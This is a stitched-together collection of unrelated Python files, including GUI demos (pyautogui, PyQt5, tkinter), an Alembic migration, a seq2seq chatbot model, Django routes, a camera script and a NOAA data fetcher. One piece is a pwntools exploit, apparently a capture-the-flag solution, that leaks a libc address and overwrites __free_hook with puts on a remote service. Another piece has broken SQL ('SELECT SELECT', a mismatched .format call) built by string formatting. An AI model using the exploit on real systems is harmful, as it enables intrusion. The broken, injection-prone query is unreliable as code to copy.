    assert direction in ['up', 'left', 'right', 'down']
    pyautogui.click(general_coords)
    xmove = startx - board_general[0]
    ymove = starty - board_general[1]
    wait = 0.1
    with pyautogui.hold('shift'):
        if xmove < 0:
            for _ in range(abs(xmove)):
                pyautogui.press('left')
                time.sleep(wait)
        else:
            for _ in range(abs(xmove)):
                pyautogui.press('right')
                time.sleep(wait)
        if ymove > 0:
            for _ in range(abs(ymove)):
                pyautogui.press('down')
                time.sleep(wait)
        else:
            for _ in range(abs(ymove)):
                pyautogui.press('up')
                time.sleep(wait)
    pyautogui.press(direction)


"""
容纳多文档的窗口

QMdiArea  容纳多文档类
QMdiSubWindow  多文档窗口类

# 父窗口可以创建多个子窗口，子窗口不能离开父窗口
"""

import sys
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *

class MultiWindows(QMainWindow):
    # 记录一下当前的窗口
    count = 0
    def __init__(self,parent=None):
        super(MultiWindows, self).__init__(parent)

        self.setWindowTitle("容纳多文档的窗口")
        # 多文档有两种排列方式 一种是平铺，一种是层叠
        # 创建容纳多文档对象
        self.mdi = QMdiArea()
        # 把多文档对象添加到布局里面
        self.setCentralWidget(self.mdi)
        # 创建一个菜单
        bar = self.menuBar()
        # 添加一个文件菜单
        file = bar.addMenu("File")
        # 给文件菜单添加动作 "New"
        file.addAction("New")
        # 设置窗口的排列方式
        # 层叠
        file.addAction("cascade")
        # 平铺
        file.addAction("Tiled")
        # 连接菜单动作，触发信号
        file.triggered.connect(self.windowaction)

    # 槽方法
    def windowaction(self,q):
        print(q.text())
        # q 是当前单击的菜单项
        if q.text() == "New":
            # 记录一下
            MultiWindows.count = MultiWindows.count + 1
            # 创建一个子窗口
            sub = QMdiSubWindow()
            # 在子窗口里面放置控件
            sub.setWidget(QTextEdit())
            # 设置子窗口的标题
            sub.setWindowTitle('子窗口' + str(MultiWindows.count))
            # 添加子窗口
            self.mdi.addSubWindow(sub)
            # 显示子窗口
            sub.show()
        elif q.text() == "cascade":
            # 设置层叠方式
            self.mdi.cascadeSubWindows()
        elif q.text() == "Tiled":
            # 设置平铺方式
            self.mdi.tileSubWindows()

if __name__ == '__main__':
    app = QApplication(sys.argv)
    demo = MultiWindows()
    demo.show()
    sys.exit(app.exec_())


# Importing packages
from tkinter import *

root = Tk()
root.geometry('644x344')

# Heading
Label(root,text = 'Welcome to Avish Travels',font = 'comicsansms 13 bold',pady = 15, bg = 'blue',fg = 'white',borderwidth = 3,relief = SUNKEN).grid(row = 0,column = 3)

# Text for our form
name = Label(root,text = 'Name')
phone = Label(root,text = 'Phone')
gender = Label(root,text = 'Gender')
emergency = Label(root,text = 'Emergency Contact')
payment = Label(root,text = 'Payment Mode')

# Pack Text for our form
name.grid(row = 1 ,column = 2)
phone.grid(row = 2 ,column = 2)
gender.grid(row = 3,column = 2)
emergency.grid(row = 4 ,column = 2)
payment.grid(row = 5 ,column = 2)

# Tkinter variables for storing entries
namevalue = StringVar()
phonevalue = StringVar()
gendervalue = StringVar()
emergencyvalue = StringVar()
paymentvalue = StringVar()

#checkbox
foodservice = IntVar()

# Entry for our form
nameentry = Entry(root,textvariable = namevalue )
phoneentry = Entry(root,textvariable = phonevalue )
genderentry = Entry(root,textvariable = gendervalue )
emergencyentry = Entry(root,textvariable = emergencyvalue )
paymententry = Entry(root,textvariable = paymentvalue )

# Packing the entries
nameentry.grid(row = 1, column = 3 )
phoneentry.grid(row = 2, column = 3 )
genderentry.grid(row = 3, column = 3 )
emergencyentry.grid(row = 4, column = 3 )
paymententry.grid(row = 5, column = 3 )

# Checkbox & Packing it
foodservice = Checkbutton(text = 'Want to prebook your meals?',variable = foodservice)
foodservice.grid(row = 6,column = 3)

# Creating a function for command in Button
def getvals():
    print('It works')

# Button and Packing it to a command
Button(text = 'Submit to Avish Travels',command = getvals).grid(row = 7,column = 3)

root.mainloop()

10 Travel Form Using Checkbuttons & Entry Widget.py


"""Add Oauth table to support social sign in

Revision ID: 65bab22d239a
Revises: 2ab89177fcba
Create Date: 2022-09-16 07:44:54.929466

"""
import sqlalchemy as sa
from alembic import op
from fastapi_users_db_sqlalchemy import GUID

# revision identifiers, used by Alembic.
revision = "65bab22d239a"
down_revision = "2ab89177fcba"
branch_labels = None
depends_on = None

def upgrade() -> None:
    op.create_table(
        "oauth_account",
        sa.Column("oauth_name", sa.String(length=100), nullable=False),
        sa.Column("access_token", sa.String(length=1024), nullable=False),
        sa.Column("expires_at", sa.Integer(), nullable=True),
        sa.Column("refresh_token", sa.String(length=1024), nullable=True),
        sa.Column("account_id", sa.String(length=320), nullable=False),
        sa.Column("account_email", sa.String(length=320), nullable=False),
        sa.Column("id", GUID(), nullable=False),
        sa.Column("user_id", GUID(), nullable=False),
        sa.ForeignKeyConstraint(("user_id",), ["user.id"], ondelete="cascade"),
        sa.PrimaryKeyConstraint("id"),
    )
    op.create_index(
        op.f("ix_oauth_account_account_id"),
        "oauth_account",
        ["account_id"],
        unique=False,
    )
    op.create_index(
        op.f("ix_oauth_account_oauth_name"),
        "oauth_account",
        ["oauth_name"],
        unique=False,
    )
    op.add_column(
        "user",
        sa.Column(
            "has_real_password", sa.Boolean(), server_default="t", nullable=False
        ),
    )

def downgrade() -> None:
    op.drop_index(op.f("ix_oauth_account_oauth_name"), table_name="oauth_account")
    op.drop_index(op.f("ix_oauth_account_account_id"), table_name="oauth_account")
    op.drop_table("oauth_account")
    op.drop_column("user", "has_real_password")


import random
from typing import List, Tuple

import torch
from torch import nn, optim

from nlg_analysis.cfg import TrainConfig
from nlg_analysis.models.base_model import BaseModel
from nlg_analysis.models.conversation_side import ConversationSide
from nlg_analysis.models.seq2seq_decoder import Seq2SeqDecoder
from nlg_analysis.models.seq2seq_encoder import Seq2SeqEncoder
from nlg_analysis.models.seq2seq_utils import (
    prepareData,
    tensorFromSentence,
    tensorsFromPair,
)

class Seq2SeqModel(BaseModel):
    """Model based on encoder decoder architecture."""

    def __init__(
        self,
        questions_path: str,
        answers_path: str,
        path2encoder: str = None,
        path2decoder: str = None,
    ) -> None:
        super(Seq2SeqModel, self).__init__()
        self.sos_token = 0
        self.eos_token = 1
        self.questions_path = questions_path
        self.answers_path = answers_path
        if path2encoder is not None:
            self.path2encoder = path2encoder
        else:
            self.path2encoder = None
        if path2decoder is not None:
            self.path2decoder = path2decoder
        else:
            self.path2decoder = None

    def generate_transcript(self, questions: List) -> str:
        """Generate conversation transcript."""
        if self.path2decoder is None and self.path2encoder is None:
            raise ValueError
        device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
        hidden_size = 256
        question_side, answer_side, pairs = prepareData(
            self.questions_path, self.answers_path
        )
        encoder = Seq2SeqEncoder(
            question_side.n_words, hidden_size, device=device
        )
        encoder.load_state_dict(torch.load(self.path2encoder))
        decoder = Seq2SeqDecoder(
            hidden_size, answer_side.n_words, dropout_p=0.1, device=device
        )
        decoder.load_state_dict(torch.load(self.path2decoder))

        trans_txt = ""
        for q in questions:
            output_words, attentions = self.evaluate(
                encoder=encoder,
                decoder=decoder,
                sentence=q,
                device=device,
                answer_side=answer_side,
                question_side=question_side,
            )
            trans_txt += q + "\n" + " ".join(output_words[:-1]) + "\n"
        return trans_txt

    @staticmethod
    def approach() -> str:
        """Return the name of implemented approach."""
        return "Seq2Seq"

    def train(
        self,
        encoder_output_path: str,
        decoder_output_path: str,
        train_config: TrainConfig,
    ) -> None:
        """Train model and save to given output path."""
        device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
        learning_rate = train_config.learning_rate
        hidden_size = train_config.hidden_size
        n_iters = train_config.n_iters
        question_side, answer_side, pairs = prepareData(
            self.questions_path, self.answers_path
        )
        encoder = Seq2SeqEncoder(
            question_side.n_words, hidden_size, device
        ).to(device)
        attn_decoder = Seq2SeqDecoder(
            hidden_size, answer_side.n_words, device, dropout_p=0.1
        ).to(device)

        encoder_optimizer = optim.SGD(encoder.parameters(), lr=learning_rate)
        decoder_optimizer = optim.SGD(
            attn_decoder.parameters(), lr=learning_rate
        )
        training_pairs = [
            tensorsFromPair(
                random.choice(pairs),
                input_side=question_side,
                output_side=answer_side,
                eos_token=self.eos_token,
                device=device,
            )
            for _ in range(n_iters)
        ]
        criterion = nn.NLLLoss()

        for i in range(1, n_iters + 1):
            training_pair = training_pairs[i - 1]
            input_tensor = training_pair[0]
            target_tensor = training_pair[1]

            self.trainIter(
                input_tensor,
                target_tensor,
                encoder,
                attn_decoder,
                encoder_optimizer,
                decoder_optimizer,
                criterion,
                device,
                teacher_forcing_ratio=train_config.teacher_forcing_ratio,
            )

        torch.save(encoder.state_dict(), encoder_output_path)
        torch.save(attn_decoder.state_dict(), decoder_output_path)

    def trainIter(
        self,
        input_tensor: torch.Tensor,
        target_tensor: torch.Tensor,
        encoder: Seq2SeqEncoder,
        decoder: Seq2SeqDecoder,
        encoder_optimizer: torch.optim.Optimizer,
        decoder_optimizer: torch.optim.Optimizer,
        criterion: nn.Module,
        device: torch.device,
        max_length: int = 32,
        teacher_forcing_ratio: float = 0.5,
    ) -> float:
        """Run one epoch."""
        encoder_hidden = encoder.initHidden()

        encoder_optimizer.zero_grad()
        decoder_optimizer.zero_grad()

        input_length = input_tensor.size(0)
        target_length = target_tensor.size(0)

        encoder_outputs = torch.zeros(
            max_length, encoder.hidden_size, device=device
        )

        loss = 0

        for ei in range(input_length):
            encoder_output, encoder_hidden = encoder(
                input_tensor[ei], encoder_hidden
            )
            encoder_outputs[ei] = encoder_output[0, 0]

        decoder_input = torch.tensor([[self.sos_token]], device=device)

        decoder_hidden = encoder_hidden

        use_teacher_forcing = (
            True if random.random() < teacher_forcing_ratio else False
        )

        if use_teacher_forcing:
            # Teacher forcing: Feed the target as the next input
            for di in range(target_length):
                decoder_output, decoder_hidden, decoder_attention = decoder(
                    decoder_input, decoder_hidden, encoder_outputs
                )
                loss += criterion(decoder_output, target_tensor[di])
                decoder_input = target_tensor[di]

        else:
            # Without teacher forcing:
            # use its own predictions as the next input
            for di in range(target_length):
                decoder_output, decoder_hidden, decoder_attention = decoder(
                    decoder_input, decoder_hidden, encoder_outputs
                )
                topv, topi = decoder_output.topk(1)
                decoder_input = (
                    topi.squeeze().detach()
                )  # detach from history as input

                loss += criterion(decoder_output, target_tensor[di])
                if decoder_input.item() == self.eos_token:
                    break

        loss.backward()

        encoder_optimizer.step()
        decoder_optimizer.step()

        return loss.item() / target_length

    def evaluate(
        self,
        encoder: Seq2SeqEncoder,
        decoder: Seq2SeqDecoder,
        sentence: str,
        question_side: ConversationSide,
        answer_side: ConversationSide,
        device: torch.device,
        max_length: int = 32,
    ) -> Tuple[List[str], torch.Tensor]:
        """Create text answer to given query."""
        with torch.no_grad():
            input_tensor = tensorFromSentence(
                question_side,
                sentence,
                eos_token=self.eos_token,
                device=device,
            )
            input_length = input_tensor.size()[0]
            encoder_hidden = encoder.initHidden()

            encoder_outputs = torch.zeros(
                max_length, encoder.hidden_size, device=device
            )

            for ei in range(input_length):
                encoder_output, encoder_hidden = encoder(
                    input_tensor[ei], encoder_hidden
                )
                encoder_outputs[ei] += encoder_output[0, 0]

            decoder_input = torch.tensor([[self.sos_token]], device=device)

            decoder_hidden = encoder_hidden

            decoded_words = []
            decoder_attentions = torch.zeros(max_length, max_length)

            for di in range(max_length):
                decoder_output, decoder_hidden, decoder_attention = decoder(
                    decoder_input, decoder_hidden, encoder_outputs
                )
                decoder_attentions[di] = decoder_attention.data
                topv, topi = decoder_output.data.topk(1)
                if topi.item() == self.eos_token:
                    decoded_words.append("<EOS>")
                    break
                else:
                    decoded_words.append(answer_side.index2word[topi.item()])

                decoder_input = topi.squeeze().detach()

            return decoded_words, decoder_attentions[: di + 1]


from django.urls import path, include
from rest_framework import permissions
from .views import DirectionApiView, DisciplineApiView, StudyGroupApiView, StudentApiView, get_report, report_status
from drf_yasg.views import get_schema_view
from drf_yasg import openapi

schema_view = get_schema_view(
   openapi.Info(
      title="University Cervice API",
      default_version='v1',
      description="",
   ),
   public=True,
   permission_classes=[permissions.IsAuthenticated],
)

urlpatterns = [
    path('api/v1/report/', get_report),
    path('api/v1/report-status/', report_status),
    path('api/v1/diretions/', DirectionApiView.as_view()),
    path('api/v1/diretions/<int:id>/', DirectionApiView.as_view()),
    path('api/v1/disciplines/', DisciplineApiView.as_view()),
    path('api/v1/disciplines/<int:id>/', DisciplineApiView.as_view()),
    path('api/v1/studygroups/', StudyGroupApiView.as_view()),
    path('api/v1/studygroups/<int:id>/', StudyGroupApiView.as_view()),
    path('api/v1/students/', StudentApiView.as_view()),
    path('api/v1/students/<int:id>/', StudentApiView.as_view()),
    path('api/v1/drf-auth/', include('rest_framework.urls')),
    path('api/v1/docs/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),
]


from machine import I2C
axp173 = I2C(I2C.I2C3, freq=100000, scl=24, sda=27)
axp173.writeto_mem(0x34, 0x27, 0x20)
axp173.writeto_mem(0x34, 0x28, 0x0C)

import sensor, image, time, lcd
lcd.init()

while True:

    #time.sleep(2)

    try:
        sensor.reset(choice=1)
        sensor.set_pixformat(sensor.YUV422)
        sensor.set_framesize(sensor.QVGA)
        # sensor.set_hmirror(1)
        sensor.set_vflip(1)
        sensor.skip_frames(time=2000)
        for i in range(50):
            img = sensor.snapshot()
            lcd.display(img)
    except Exception as e:
        print(e)

    try:
        sensor.reset(choice=2)
        sensor.set_pixformat(sensor.YUV422)
        sensor.set_framesize(sensor.QVGA)
        sensor.set_hmirror(1)
        sensor.set_vflip(1)
        sensor.skip_frames(time=2000)
        for i in range(50):
            img = sensor.snapshot().rotation_corr(z_rotation = +90)
            lcd.display(img)
    except Exception as e:
        print(e)


#도서관리 프로젝트

book_nm=[0,1,2,3,4,5,6,7]

book_nm[0] = {'제목':['Cooking Light'], '분류':['living', 'cooking'],
            '가격':[15000], '비고':['America Cooking']}
book_nm[1]= {'제목':['Auto Bild'], '분류':['scientce','car'],
            '가격':[16000], '비고':['Gemany Car']}
book_nm[2] = {'제목':['The Confession'], '저자':['Grisham', 'John'],
            '가격':[10500]}
book_nm[3] = {'제목':['Les Miserables'], '저자':['Hugo','Victor'],
              '가격':[17500]}

a = 1

if a == 1 :
    for i in range(3):
        print(book_nm[i])
#

# if a == 2 :
#     print(book_nm1)


from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))

context.log_level = 'debug'

p = remote("host1.dreamhack.games", 20233)
# p = process("./hook")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("./libc.so.6") #libc-2.23
# gdb.attach(p)

# [1] Get information about buf
p.recvuntil(b"stdout: ")
tmp=p.recvline() #64bit

print(tmp[:-1])
stdout = int(tmp[:-1], 16)

slog("stdout", stdout)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook_addr = libc_base + libc.symbols["__free_hook"]
puts_addr = libc_base + libc.symbols["puts"]

p.recvuntil(b"Size: ")
p.sendline(str(16))

# [2] Get libc_base
p.recvuntil(b"Data: ")
payload = p64(free_hook_addr)+p64(puts_addr)
p.sendline(payload) #sendline is have \n

p.recvline()
p.interactive()


import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from descriptors import cachedproperty

from triage.component.postmodeling.contrast.model_group_evaluator import ModelGroupEvaluator

class ModelGroupEvaluatorACLU(ModelGroupEvaluator):
    def __init__(self, engine, model_group_id) -> None:
        self.model_group_id = model_group_id
        self.engine=engine

    @cachedproperty
    def metadata(self):
        q = """
            SELECT
                SELECT m.model_id,
                   m.model_group_id,
                   m.hyperparameters,
                   m.model_hash,
                   m.train_end_time,
                   m.train_matrix_uuid,
                   m.training_label_timespan,
                   m.model_type,
                   mg.model_config
                FROM triage_metadata.models m
                JOIN triage_metadata.model_groups mg
                USING (model_group_id)
                WHERE model_group_id = {model_group_id}
        """.format(self.model_group_id)

        meta_data_dict = pd.read_sql(q, self.engine).to_dict('records')

        return meta_data_dict

    # @property
    # def model_id(self):
    #     return [dict_row['model_id'] for dict_row in self.metadata]

    # @property
    # def model_hash(self):
    #     return [dict_row['model_hash'] for dict_row in self.metadata]

    # @property
    # def hyperparameters(self):
    #     return [dict_row['hyperparameters'] for dict_row in self.metadata]

    # @property
    # def train_end_time(self):
    #     return [dict_row['train_end_time'] for dict_row in self.metadata]

    # @property
    # def train_matrix_uuid(self):
    #     return [dict_row['train_matrix_uuid'] for dict_row in self.metadata]

    # @property
    # def training_label_timespan(self):
    #     return [dict_row['training_label_timespan'] for dict_row in self.metadata]

    # @property
    # def model_type(self):
    #     return [dict_row['model_type'] for dict_row in self.metadata]

    # @property
    # def model_config(self):
    #     return [dict_row['model_config'] for dict_row in self.metadata]

    # def plot_metric_over_time(self, metric, param_type, param, df=False, figsize=(12, 16), fontsize=20):


"""
This module provides a function to retrieve city data from a MongoDB database and the NOAA API, and
write the data to a CSV file.

Functions:
    get_cities_data() -> None
        Retrieves data on cities from the NOAA API and writes it to a CSV file. Filters the API
        results to only include cities already present in the database.
        API documentation: https://www.ncdc.noaa.gov/cdo-web/webservices/v2#locations

Example usage:
    # Call from command line:
    # python get_city_id.py

Notes:
    This module requires the following libraries to be installed:
    requests, csv, os, dotenv, pymongo.
    The module also requires a .env file to be present in the root directory, containing the
    following variable: NCEI_TOKEN.
    The get_database function is imported from a separate module, which should contain the necessary
    code to establish a connection to the MongoDB database.
"""

import requests
import os
import csv
from dotenv import load_dotenv

import sys
sys.path.insert(0, '../..')  # Add parent directory to sys.path

from get_database import get_database

# Load environment variables
load_dotenv()

# Get NCEI API token from environment variables
NCEI_TOKEN = os.getenv('NCEI_TOKEN')

# Get database and cities collection
dbname = get_database()
cities_collection = dbname["cities"]

def get_cities_data() -> None:
    """
    Retrieves data for all cities available from the NOAA API and saves it to a CSV file.
    Continuously updates the API's offset parameter until all available data has been retrieved.

    Parameters:
        None

    Returns:
        None

    Raises:
        HTTPError: If the initial API call fails, or if subsequent calls return an HTTP error.
    """

    # Get a list of all cities in the database
    cities = cities_collection.distinct('city')

    # Set up the initial API parameters for the first request
    url = "https://www.ncdc.noaa.gov/cdo-web/api/v2/locations"
    params = {
        'datasetid': 'GHCND',  # Only get data from this dataset
        'locationcategoryid': 'CITY',  # Only get data for cities
        'limit': 1000,  # Get up to 1000 results per request
        'offset': 0  # Start with the first result
    }

    while True:
        # Make the API request
        response = requests.get(url, params=params, headers={
            'token': NCEI_TOKEN}, timeout=20)

        # Get the data from the response
        data = response.json().get("results", [])

        # If no data is returned, we've got all the data and can break out of the loop
        if not data:
            break

        # Write the data to the CSV file
        with open('csv/cities.csv', mode='a', newline='', encoding='UTF-8') as csv_file:
            writer = csv.writer(csv_file)

            for result in data:
                name = result['name']
                split_name = name.split(',')
                city = split_name[0]

                # Only write the city if it exists in the DB
                if city in cities:
                    mindate = result['mindate']
                    maxdate = result['maxdate']
                    city_id = result['id']
                    writer.writerow([mindate, maxdate, name, city, city_id])

        # Update the offset for the next request
        params['offset'] += len(data)

if __name__ == "__main__":
    get_cities_data()